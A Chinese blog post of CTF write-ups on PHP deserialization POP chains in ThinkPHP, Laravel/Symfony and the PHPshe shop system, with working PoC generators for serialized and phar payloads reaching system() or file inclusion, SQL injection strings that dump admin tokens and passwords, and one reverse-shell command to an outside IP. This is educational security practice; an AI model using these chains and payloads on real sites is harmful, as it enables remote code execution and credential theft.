美文网首页
php框架反序列化练习

php框架反序列化练习

作者: byc_404 | 来源:发表于2020-03-16 23:12 被阅读0次

    之前说打算好好锻炼自己的代码审计能力。首先就还是得从php的开始。最近打算把CTF中出现的几个php常见框架的反序列化pop链相关题目做一做。

    必备操作:

    • PhpStorm
    • Ctrl+f 寻找关键词
    • double click shift键进行全局搜索
    • Ctrl+shift+f 进行完整全局搜索

    强网杯 2019 Upload

    严格来说并不是传统的tp框架。但是可以锻炼下从现有功能中找利用链的能力。

    首先题目本身要点很隐晦。注册登录后只能有一个一次性的上传图片的功能。同时文件名被MD5后储存起来。暂时无从下手。但是随后发现源码泄露www.tar.gz。下下来后是一个tp5的框架。

    首先有趣的是,phpstorm打开项目后有两个位置存在断点。一个是反序列化的位置
    Index.php中

    public function login_check(){
            $profile=cookie('user');
            if(!empty($profile)){
                $this->profile=unserialize(base64_decode($profile));
                $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
                if(array_diff($this->profile_db,$this->profile)==null){
                    return 1;
                }else{
                    return 0;
                }
            }
        }
    

    还有一个析构方法的位置,在 Register.php

    public function __destruct()
     {
         if(!$this->registed){
          $this->checker->index();
    }
    

    应该是出题人间接提示我们在反序列化上下手。所以目的就是找到pop链了。
    按照目前自己少的可怜的pop链挖掘技术。我的第一步当然是确认题目入口=>$profile被赋值为我们的cookie的反序列化值。那么首先明确了反序列化数据是可控的。

    接下来要做的还是应该先看有无可利用的魔术方法。
    首先是题目提示的__destruct()方法

    public function __destruct()
        {
            if(!$this->registed){
                $this->checker->index();
            }
        }
    

    只是执行了一个checker的index方法
    于是在profile.php中发现两个常见魔术方法

    public function __get($name)
        {
            return $this->except[$name];
        }
    
        public function __call($name, $arguments)
        {
            if($this->{$name}){
                $this->{$this->{$name}}($arguments);
            }
        }
    

    _call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会往except 里找,_call 会调用自身的 name 成员变量所指代的变量所指代的方法。
    往往在__destruct没有特别显眼的RCE函数时,就需要把多个魔术方法搭配起来。比如此处就可以确定,只要这个check是profile类的对象,就可以因为没有index方法而触发call,然后call把index当做name执行相当于执行this->index然后因为profile不存在index属性而触发get。get就比较直接了,直接在except属性里去找属性。

    那么下一步就是,我们要控制except,然后调用profile类中的方法。
    仔细审计下源码中其他部分,注意到与我们之前上传图pain功能相关的代码,研究下它怎么工作的:
    找到upload_image,

    public function upload_img(){
            if($this->checker){
                if(!$this->checker->login_check()){
                    $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                    $this->redirect($curr_url,302);
                    exit();
                }
            }
    
            if(!empty($_FILES)){
                $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
                $this->filename=md5($_FILES['upload_file']['name']).".png";
                $this->ext_check();
            }
            if($this->ext) {
                if(getimagesize($this->filename_tmp)) {
                    @copy($this->filename_tmp, $this->filename);//利用
                    @unlink($this->filename_tmp);
                    $this->img="../upload/$this->upload_menu/$this->filename";//filename
                    $this->update_img();
                }else{
                    $this->error('Forbidden type!', url('../index'));
                }
            }else{
                $this->error('Unknow file type!', url('../index'));
            }
        }
    

    立刻发现,它会调用一个copy函数,让我们最后的上传文件名从filename_tmpfilename。这两个属性都是我们profile类中可控的。基于之前我们只能上传图片,那么此处如果我们利用这个copy,把上传的图片文件名后缀改为php。我们就相当于拿到了可执行的webshell.

    至此,利用pop链就很清晰了。

    传入register类序列化数据
    
    =>控制registed属性为false,调用__destruct
    
    =>控制checker成员为profile类。调用不存在index()触发__call()
    
    =>__call处理不存在成员index后进入__get
    
    =>控制__get的参数从index变为img,然后让img去调用upload_image或者直接传upload_image
    
    =>进入函数直接把原来上传的图片路径变为php路径,相当于直接从图片马得到webshell
    

    poc如下:

    <?php
    namespace app\web\controller;
    
    class Profile
    {
        public $checker;
        public $filename_tmp;
        public $filename;
        public $upload_menu;
        public $ext;
        public $img;
        public $except;
    }
    
    class Register
    {
        public $checker;
        public $registed;
    }
    
    $profile = new Profile();
    $profile->except = ['index' => 'img'];
    $profile->img = "upload_img";
    $profile->ext = "png";
    $profile->filename_tmp = "../public/upload/76d9f00467e5ee6abc3ca60892ef304e/f7f0bbdb094d0b83d7561fc5ec2130d7.png";
    $profile->filename = "../public/upload/76d9f00467e5ee6abc3ca60892ef304e/f7f0bbdb094d0b83d7561fc5ec2130d7.php";
    
    $register = new Register();
    $register->registed = false;
    $register->checker = $profile;
    
    echo urlencode(base64_encode(serialize($register)));
    

    CISCN Laravel1

    国赛的题目。上来直接给了一个payload变量等着传,还提示源码。所以就是单纯的找可利用的pop链了。

    按着网上的wp姑且把几条链都试了下,感觉审计代码真的很有意思。也进一步提醒我们反序列化漏洞的危害之大。

    POPChain1

    从之前的额经验我们明白,要入手还是得从__destruct()这种调用条件不太苛刻的魔术方法入手。
    double click shift键可以在phpstorm全局搜索关键字。
    于是找到第一个类TagAwareAdapter


    跟进commit中的invalidTags看到这样的代码

    然后确认了下,pool是构造方法中就已经确认的属性。即可控属性。但注意的是,构造方法是这样的。

    public function __construct(AdapterInterface $itemsPool, AdapterInterface $tagsPool = null, float $knownTagVersionsTtl = 0.15){
    $this->pool = $itemsPool;
    ......
    }
    

    即pool必须是实现了AdapterInterface 这一接口的对象。既然如此,这个条件就被约束了,但这似乎更利于我们寻找符合条件的类:
    实现了上面的接口,并且可以调用saveDeferred方法。
    那么全局搜搜这一方法。会发现仍旧有多个符合条件的类,我们先找符合条件的一个看看
    PhpArrayAdapter


    还调用了initialize方法,于是跟进initialize方法。找到PhpArrayTrait.php



    发现了incude!于是我们的pop链终于可以以达成文件包含为最终目的了。基于file可控。剩下的就是编写poc了。

    <?php
    
    namespace Symfony\Component\Cache{
        final class CacheItem{
        }
    }
    
    namespace Symfony\Component\Cache\Adapter{
        use Symfony\Component\Cache\CacheItem;
        class PhpArrayAdapter{
            private $file="/flag";
        }
    
    
        class TagAwareAdapter
        {
            private $deferred = [];
            private $pool;
    
            public function  __construct()
            {
                $this->deferred=array("abc"=>new CacheItem());
                $this->pool=new PhpArrayAdapter();
            }
    
    
        }
    $obj = new TagAwareAdapter();
    echo urlencode(serialize($obj));
    }
    

    梳理下以上poc的书写流程。
    先把我们的pop链整理下

    __destruct()==>          (TagAwareAdapter)
      commit()==>
        invalidtags()==>
          this->pool==>
            saveDeferred()==>           (PhpArrayAdapter)
              initialize()==>文件包含
    

    其中首先注意,入口是TagAwareAdapter。其命名空间是namespace Symfony\Component\Cache\Adapter,同时它use了
    Symfony\Component\Cache\CacheItem.而这是我们saveDeferred方法必须的。所以命名空间确定下来。
    然后是TagAwareAdapter,上面的源码已经很明确,$items = $this->deferred是一个数组,而saveDeferred的参数$item是数组的键值值。所以确保这点,就能写出poC中TagAwareAdapter的构造方法。

    POPChain2

    刚刚提到了,既然符合条件调用了saveDeferred方法的类有多个,那其他类是否也有最终达成目的的呢?当然有,假如当时跟进到这一个类
    ProxyAdapter

    继续跟进doSave(),其中有一个关键代码

    ($this->setInnerItem)($innerItem, $item);
    

    这个可就非常利于命令执行了。只需前面括号值为system,后面的值为任意命令即可。经确认后发现setInnerItem$inneritem均可控,那么不难得到第二个poc.

    <?php
    namespace Symfony\Component\Cache;
    class CacheItem
    {
    
        protected $innerItem = 'cat /flag';
    
    }
    
    namespace Symfony\Component\Cache\Adapter;
    
    class ProxyAdapter
    {
        private $setInnerItem = 'system';
    }
    
    class TagAwareAdapter
    {
        public $deferred = [];
        public function __construct()
        {
            $this->pool = new ProxyAdapter();
            $this->deferred = array('abc' => new \Symfony\Component\Cache\CacheItem);
        }
    }
    
    $a = new TagAwareAdapter();
    echo urlencode(serialize($a));
    ?>
    

    iamthinking

    安洵杯之前的web4.当时对这个pop链一无所知,所以现在来跟着介绍试试看。https://www.freebuf.com/column/221939.html

    这道题用到的应该是tp5.2跟tp6.0的pop链。
    首先是入口

    class Index extends BaseController
    {
        public function index()
        {
            
            echo "<img src='../test.jpg'"."/>";
            $paylaod = @$_GET['payload'];
            if(isset($paylaod))
            {
                $url = parse_url($_SERVER['REQUEST_URI']);
                parse_str($url['query'],$query);
                foreach($query as $value)
                {
                    if(preg_match("/^O/i",$value))
                    {
                        die('STOP HACKING');
                        exit();
                    }
                }
                unserialize($paylaod);
            }
        }
    }
    

    这里只需要绕过parse_url就能bypass了。技巧也很简单,只要让它返回false即可。所以构造出错的url///public/?payload=即可。
    接下来看源码了。
    全局搜索,在\vendor\topthink\think-orm\src\Model.php找到这个destruct


    然后跟进save

    需要满足updateData前的这个if:$this->isEmpth()==false和$this->trigger()==true)以及$this->exists=true
    那么就要看isEmpty()了
    public function isEmpty(): bool
    {
        return empty($this->data);
    }
    

    只要保证this->data不为空就行。
    然后再找到trigger()里,这里不详细提,只需要withEvent=false就也能返回true.
    那么可以继续看updateData了。

    很长的一段代码,首先看到getChangedData()方法,由于$data是这个函数的返回值,所以得先看看这个函数,在Attribute.php中


    $this->force==true可以直接返回我们可控的data。
    那么可以看checkAllowFields()方法了。

    主要目的是这个getConnection(),那么就需要field跟schema为空。
    这样直接进else>然后看到拼接令this->table.this->suffix,令其中任意一个为类的实例即可触发tostring()方法

    这里的代码跟传统的tp6有点区别,不过大致相同。那么后面就是tp5.2的链了。

    全局搜索来到这个__toString(),位于Conversion.php


    直接到toArray去找

    很长的一段代码,但是利用点其实还在代码后面的getAttr处的。那么就跟进下
    回到attribute.php

    继续

    然后到getRealFieldName()这,
    protected function getRealFieldName(string $name): string
    {
        return $this->strict ? $name : Str::snake($name);
    }
    

    此时如果$this->strict为true,方法将返回一路从getAttr传过来的$name。然后方法继续,最后getData()返回$this->data['$fieldname']
    也就是$this->data['$name']。而这个键值是可控的。
    回到getAttr里的getValue():


    $value = $closure($value, $this->data);属于非常敏感的调用了。由于$closure = $this->withAttr[$fieldName];
    我们就可以执行system(“ls”, [$name=>"ls"])

    system ( string command [, int &return_var ] ) : string参数
    command要执行的命令。 return_var如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

    至此算是达成任意命令执行。
    这就是完整的一条链了。最后整理下poc:

    <?php
    namespace think\model\concern {
        trait Conversion
        {    
        }
    
        trait Attribute
        {
            private $data;
            private $withAttr = ["byc" => "system"];
    
            public function get()
            {
                $this->data = ["byc" => "cat /flag"];
            }
        }
    }
    
    namespace think{
        abstract class Model{
        use model\concern\Attribute;
        use model\concern\Conversion;
        private $lazySave;
        protected $withEvent;
        private $exists;
        private $force;
        protected $field;
        protected $schema;
        protected $table;
        function __construct(){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->force = true;
            $this->field = [];
            $this->schema = [];
            $this->table = true;
        }
    }
    }
    
    namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        function __construct($obj='')
        {
            //定义this->data不为空
            parent::__construct();
            $this->get();
            $this->table = $obj;
        }
    }
    
    
    $a = new Pivot();
    $b = new Pivot($a);
    
    echo urlencode(serialize($b));
    }
    

    然后发现还有可以直接用工具生成的链......佩服佩服。这里放下wh1t3p1g大佬的自动生成的链把

    <?php
    /**
     * Created by PhpStorm.
     * User: wh1t3P1g
     */
    
    namespace think\model\concern {
        trait Conversion{
            protected $visible;
        }
        trait RelationShip{
            private $relation;
        }
        trait Attribute{
            private $withAttr;
            private $data;
            protected $type;
        }
        trait ModelEvent{
            protected $withEvent;
        }
    }
    
    namespace think {
        abstract class Model{
            use model\concern\RelationShip;
            use model\concern\Conversion;
            use model\concern\Attribute;
            use model\concern\ModelEvent;
            private $lazySave;
            private $exists;
            private $force;
            protected $connection;
            protected $suffix;
            function __construct($obj)
            {
                if($obj == null){
                    $this->data = array("wh1t3p1g"=>"cat /flag");
                    $this->relation = array("wh1t3p1g"=>[]);
                    $this->visible= array("wh1t3p1g"=>[]);
                    $this->withAttr = array("wh1t3p1g"=>"system");
                }else{
                    $this->lazySave = true;
                    $this->withEvent = false;
                    $this->exists = true;
                    $this->force = true;
                    $this->data = array("wh1t3p1g"=>[]);
                    $this->connection = "mysql";
                    $this->suffix = $obj;
                }
            }
        }
    }
    
    
    namespace think\model {
        class Pivot extends \think\Model{
            function __construct($obj)
            {
                parent::__construct($obj);
            }
        }
    }
    
    
    namespace {
        $pivot1 = new \think\model\Pivot(null);
        $pivot2 = new \think\model\Pivot($pivot1);
        echo urlencode(serialize($pivot2));
    }
    

    护网杯 2018 easy_laravel

    这题真心有难度。而且还挺麻烦。buuoj上的环境是apache也在有些地方给我带来了困扰。不过最后做完还是收获挺大的。
    需要注意不要照抄网上的wp。自己思考。不然第一第二步都做出不来。

    首先要先composer install一下,再开始审计源码

    POPChain 1

    php artisan route:list
    查看路由

    得到几个有趣的中间件
    Laravel的中间件,现在还不太懂。大概理解是写好特定功能的php文件,可以命令行直接生成。

    例如,Laravel 内置了一个中间件来验证用户是否经过认证(如登录),如果用户没有经过认证,中间件会将用户重定向到登录页面,而如果用户已经经过认证,中间件就会允许请求继续往前进入下一步操作。

    app/Http/Middleware/AdminMiddleware.php

    public function handle($request, Closure $next)
        {
            if ($this->auth->user()->email !== 'admin@qvq.im') {
                return redirect(route('error'));
            }
            return $next($request);
        }
    

    有了一个邮箱。

    app/Http/Controllers/NoteController.php

    public function index(Note $note)
    {
        $username = Auth::user()->name;
        $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'");
        return view('note', compact('notes'));
    }
    

    note这用户名存在sql注入漏洞。但是看到
    database/factories/ModelFactory.php

    $factory->define(App\User::class, function (Faker\Generator $faker) {
        static $password;
    
        return [
            'name' => '4uuu Nya',
            'email' => 'admin@qvq.im',
            'password' => bcrypt(str_random(40)),
            'remember_token' => str_random(10),
        ];
    });
    

    密码被加密,因此不能被注入出来。但是似乎可以搞token.
    留意到路由里有password/reset/{token}功能
    那既然只要token功能能重置面,就可以注token了
    不过先去看重置功能,控制器可以看到是use Illuminate\Foundation\Auth\ResetsPasswords;
    去跟一下,发现是个trait

    而ResetsPasswords是一个trait,其不能实例化,定义它的目的是为了进行代码复用,此时在这里方便在控制器类resetpassword中使用

    从上面功能能看出,注入后token是有回显的。找到database/migrations/2014_10_12_100000_create_password_resets_table.php后看到在password_resets表里
    字段数有点迷...5个字段才能发现回显在第二列2那。
    注册用户名payload:
    1' union select 1,(select group_concat(token)),3,4,5 from password_resets -- -

    不过需要先发送admin@qvq.im重置链接,这样库里才会有一个token。

    访问链接即可重置密码

    登录后看到之前的flag路由功能,访问却显示no flag。所以可能需要其他手段。
    题目给出了提示是pop chain | blade expired | blade 模板

    在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views中,而编译后的文件存在过期的判断。

    所以我们要删掉过期文件
    这里可以看到计算缓存文件的位置


    前面是根目录,后面是sha1计算的值
    buu还是apache起的。跟原题不一样......
    原题的是/usr/share/nginx/html/resources/views/auth/flag.blade.php
    这里apache应该是/var/www/html/storage/framework/views/+sha1(/var/www/html/resources/views/auth/flag.blade.php)
    /var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php

    看到app/Http/Controllers/UploadController.php里描述的上传功能


    其实只是校验了文件头,这给了我们phar反序列化的机会
    ctrl+shift+f全局搜索unlink
    找到vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php
    unlink在析构函数里。调用的是getPath()
    去它继承的Swift_ByteStream_FileByteStream类里找

        public function getPath()
        {
            return $this->_path;
        }
    
    

    一个简单可控的参数。而且可以直接构造方法里传入。
    加上upload里check功能其实调用了file_exist()。点击即可触发

    注意路径的问题。上面的代码还表示接受一个我们传入的path参数,与文件名进行拼接。所以我们需要给path赋值phar://+文件的路径
    UploadController中表明了合法文件会被存到app/public下

    namespace App\Http\Controllers;
    
    use Flash;
    use Storage;
    use Illuminate\Http\Request;
    use App\Http\Requests\UploadRequest;
    
    class UploadController extends Controller
    {
        public function __construct()
        {
            $this->middleware(['auth', 'admin']);
            $this->path = storage_path('app/public');
        }
    

    尝试未果...不知道是不是路径原因
    因为nginx应该是usr/share/nginx/html/storage/app/public
    我不确定apache下是不是/var/www/html/storage/app/public
    参考exp,学习dalao使用相对路径传path=phar://../storage/app/public这样传应该没问题
    发现原来上面出错是因为phar生成的序列化数据中关键字没改掉。即要删掉的文件_path的值没换好。但是普通字符串替换就是不成功。

    后来发现只用在vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php里改写构造方法

    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream
    {
        public function __construct()
        {
            #$filePath = tempnam(sys_get_temp_dir(), 'FileByteStream');
            $filePath = "/var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php";
            /*
            if ($filePath === false) {
                throw new Swift_IoException('Failed to retrieve temporary file name.');
            }
            */
            parent::__construct($filePath, true);
        }
    

    poc

    <?php
    include('autoload.php');
    $a =new Swift_ByteStream_TemporaryFileByteStream();
    echo(serialize($a));
    $p = new Phar('flag.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($a);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    ?>
    

    学到了通过使用include('autoload.php');来直接引入类。
    生成的phar改为gif上传,最后check触发即可在flag中得到flag

    post:
    filename=%2Fpoc.gif&_token=zLigmu2xUZYGExMwIWGXRDh2WtEwgixP2BTH1Nwg&path=phar://../storage/app/public
    

    POPChain 2

    无意中看到这题居然还有getshell的解法。只能说POPchain的构造真的是无穷的。有太多亟待发掘的可能性了。
    https://xz.aliyun.com/t/2901

    这里dalao的思路也很简单,直接vendor下搜索__destruct()call_user_func()
    于是就找到了这两个文件
    vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

    <?php
    
    namespace Illuminate\Broadcasting;
    
    use Illuminate\Contracts\Events\Dispatcher;
    
    class PendingBroadcast
    {
        /**
         * The event dispatcher implementation.
         *
         * @var \Illuminate\Contracts\Events\Dispatcher
         */
        protected $events;
    
        /**
         * The event instance.
         *
         * @var mixed
         */
        protected $event;
    
        /**
         * Create a new pending broadcast instance.
         *
         * @param  \Illuminate\Contracts\Events\Dispatcher  $events
         * @param  mixed  $event
         * @return void
         */
        public function __construct(Dispatcher $events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    
        /**
         * Handle the object's destruction.
         *
         * @return void
         */
        public function __destruct()
        {
            $this->events->fire($this->event);
        }
    
        /**
         * Broadcast the event to everyone except the current user.
         *
         * @return $this
         */
        public function toOthers()
        {
            if (method_exists($this->event, 'dontBroadcastToCurrentUser')) {
                $this->event->dontBroadcastToCurrentUser();
            }
    
            return $this;
        }
    }
    
    

    vendor/fzaninotto/faker/src/Faker/Generator.php

    <?php
    
    namespace Faker;
    
    
    class Generator
    {
        protected $providers = array();
        protected $formatters = array();
    
        public function addProvider($provider)
        {
            array_unshift($this->providers, $provider);
        }
    
        public function getProviders()
        {
            return $this->providers;
        }
    
        public function seed($seed = null)
        {
            if ($seed === null) {
                mt_srand();
            } else {
                if (PHP_VERSION_ID < 70100) {
                    mt_srand((int) $seed);
                } else {
                    mt_srand((int) $seed, MT_RAND_PHP);
                }
            }
        }
    
        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }
    
        /**
         * @param string $formatter
         *
         * @return Callable
         */
        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
            foreach ($this->providers as $provider) {
                if (method_exists($provider, $formatter)) {
                    $this->formatters[$formatter] = array($provider, $formatter);
    
                    return $this->formatters[$formatter];
                }
            }
            throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        }
    
        /**
         * Replaces tokens ('{{ tokenName }}') with the result from the token method call
         *
         * @param  string $string String that needs to bet parsed
         * @return string
         */
        public function parse($string)
        {
            return preg_replace_callback('/\{\{\s?(\w+)\s?\}\}/u', array($this, 'callFormatWithMatches'), $string);
        }
    
        protected function callFormatWithMatches($matches)
        {
            return $this->format($matches[1]);
        }
    
        /**
         * @param string $attribute
         *
         * @return mixed
         */
        public function __get($attribute)
        {
            return $this->format($attribute);
        }
    
        /**
         * @param string $method
         * @param array $attributes
         *
         * @return mixed
         */
        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }
    
        public function __destruct()
        {
            $this->seed();
        }
    }
    
    

    不过第二个类我全局看半天都没找到,但是搜详细点还是有查找结果的。可能符合条件太多了吧......

    如果已知这两个类,那么POPChain就好办了。
    首先是__destruct作入口,它会调用fire()方法。那么只要令调用的实例为后一个类的对象,即可触发__call(),format刚好是一个call_user_func_array()的函数。即可达成命令执行。

    对 $this->events->fire($this->event);
    events置为Faker\Generator对象
    让它找到fire时去赋值system
    event置为需要执行的命令即可
    

    poc

    <?php
    namespace Illuminate\Broadcasting{
        class PendingBroadcast
        {
    
            protected $events;
    
            protected $event;
    
            public function __construct($events, $event)
            {
                $this->event = $event;
                $this->events = $events;
            }
    
    
            public function __destruct()
            {
                $this->events->fire($this->event);
            }
        }
    }
    
    
    
    namespace Faker{
        class Generator
        {
            protected $formatters;
    
            function __construct($forma){
                $this->formatters = $forma;
            }
    
            public function format($formatter, $arguments = array())
            {
                return call_user_func_array($this->getFormatter($formatter), $arguments);
            }
    
            public function getFormatter($formatter)
            {
                if (isset($this->formatters[$formatter])) {
                    return $this->formatters[$formatter];
                }
            }
    
            public function __call($method, $attributes)
            {
                return $this->format($method, $attributes);
            }
        }
    }
    
    
    namespace{
        $fs = array("fire"=>"system");
        $gen = new Faker\Generator($fs);
        $pb = new Illuminate\Broadcasting\PendingBroadcast($gen,"bash -c 'bash -i >& /dev/tcp/174.1.212.23/6666 0>&1'");
        $p = new Phar('1.phar', 0);
        $p->startBuffering();
        $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
        $p->setMetadata($pb);
        $p->addFromString('1.txt','text');
        $p->stopBuffering();
        rename('1.phar', '1.gif');
    }
    ?>
    

    然后跟之前一样的方法触发phar反序列化
    成功弹到shell


    也确认了我们phar触发的绝对路径是/var/www/html/storage/app/public


    flag在根目录下。


    RoarCTF PHPshe

    phpshe1.7商城系统。严格说不算框架算CMS了。前台后台各一个洞最终getshell

    前台sql注入

    入口在common.php

    if (get_magic_quotes_gpc()) {
        !empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
        !empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
    }
    else {
        !empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
        !empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
    }
    

    传进的变量会被加上前缀_.
    \include\plugin\payment\alipay\pay.php存在sql注入

    $order_id = pe_dbhold($_g_id);
    $order_id = intval($order_id);
    $order = $db->pe_select(order_table($order_id), array('order_id'=>$order_id));
    

    先跟进pe_dbhold()


    基本就是转义的作用。
    看下order_table

    function order_table($id) {
        if (stripos($id, '_') !== false) {
            $id_arr = explode('_', $id);
            return "order_{$id_arr[0]}";
        }
        else {
            return "order"; 
        }
    }
    

    如果有下划线的话,把下划线前面的部分拼接到order_
    最后是进行sql查询的语句pe_select()


    那么稍微总结下,我们可控的参数是$_g_id然后过滤后以$order_id进行sql查询。此时表名部分可控。但是传入的where参数array(‘order_id’=>$order_id)又经过了_dowhere函数的处理
    后变为order_id='$order_id'
    ($where_arr[] = "`{$k}` = '{$v}'")
    

    所以可注的地方只有表名。那么需要存在一个order_xxx表名的表。选择pe_order_pay

    pay`%20where%201=1%20union%20select%201,2,user(),4,5,6,7,8,9,10,11,12%23_
    

    简单测试发现字段1,3都有回显。那就继续注入admin的密码吧。
    但是此时发现。上面的注入进行时都是因_前的语句被截取进sql查询。那么我们接下来进行的语句查询不能含有下划线。说明可能需要无列名注入

    pay` where 1=1 union select 1,2,((select a.3 from(select 1,2,3,4,5,6 union select * from admin)a limit 1,1)),4,5,6,7,8,910,11,12%23_
    

    得到密码。md5解码后为altman777

    后台getshell

    然后进入后台。
    通过跟官方源码diff后可以发现出题人手改的位置。这里我就直接进手改的源码分析吧。

     public function __destruct()
      {
          $this->extract(PCLZIP_OPT_PATH, $this->save_path);
      }
    

    多出了一个魔术方法。那么不难想到可能存在phar反序列化。
    因为这个类大致实现了解压的功能。
    那么去找找触发点吧。
    /admin.php?mod=moban&act=del
    走到moban.php发现
    del这个功能下的pe_dirdel调用了is_file()函数。


    然后发现品牌管理处存在文件上传。可以上传zip文件,txt文件,jpg文件。

    所以思路清楚了。只需上传webshell的zip包。再通过admin.php的phar反序列化触发即可得到解压的webshell。
    同时注意到每次进行操作需要token与Referer的设置


    所以在触发反序列化时还要带上token与Referer
    生成phar的exp:

    <?php
    class PclZip
    {
        // ----- Filename of the zip file
        var $zipname = '';
    
        // ----- File descriptor of the zip file
        var $zip_fd = 0;
    
        // ----- Internal error handling
        var $error_code = 1;
        var $error_string = '';
    
        // ----- Current status of the magic_quotes_runtime
        // This value store the php configuration for magic_quotes
        // The class can then disable the magic_quotes and reset it after
        var $magic_quotes_status;
        var $save_path;
    
        // --------------------------------------------------------------------------------
        // Function : PclZip()
        // Description :
        //   Creates a PclZip object and set the name of the associated Zip archive
        //   filename.
        //   Note that no real action is taken, if the archive does not exist it is not
        //   created. Use create() for that.
        // --------------------------------------------------------------------------------
        function __construct($p_zipname)
        {
            //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, 'PclZip::PclZip', "zipname=$p_zipname");
    
            // ----- Tests the zlib
            
    
            // ----- Set the attributes
            $this->zipname = $p_zipname;
            $this->zip_fd = 0;
            $this->magic_quotes_status = -1;
    
            // ----- Return
            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 1);
            return;
        }
    }
    
    $f=new PclZip("/var/www/html/data/attachment/brand/3.zip");
    $f->save_path='/var/www/html/data/';
    echo serialize($f);
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($f);
    $phar->addFromString("test.txt", "test"); 
    $phar->stopBuffering();
    ?>
    

    将其改为txt后缀上传。
    触发的payload

    /admin.php?mod=moban&act=del&token=72843c2cc582359032218f26207b413c&tpl=phar:///var/www/html/data/attachment/brand/5.txt
    
    Referer: http://0d62c387-392f-40ea-8057-7a826b4d55a2.node3.buuoj.cn/admin.php?mod=moban
    

    然后就得到data目录下的webshell了。


    坑点主要就是上传的文件会改名。所以要找对正确的绝对路径。

    相关文章

      网友评论

          本文标题:php框架反序列化练习

          本文链接:https://www.haomeiwen.com/subject/rnqoshtx.html